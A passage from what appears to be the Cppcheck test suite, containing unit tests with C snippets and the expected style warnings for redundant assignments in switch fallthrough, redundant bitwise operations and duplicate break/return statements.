if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw 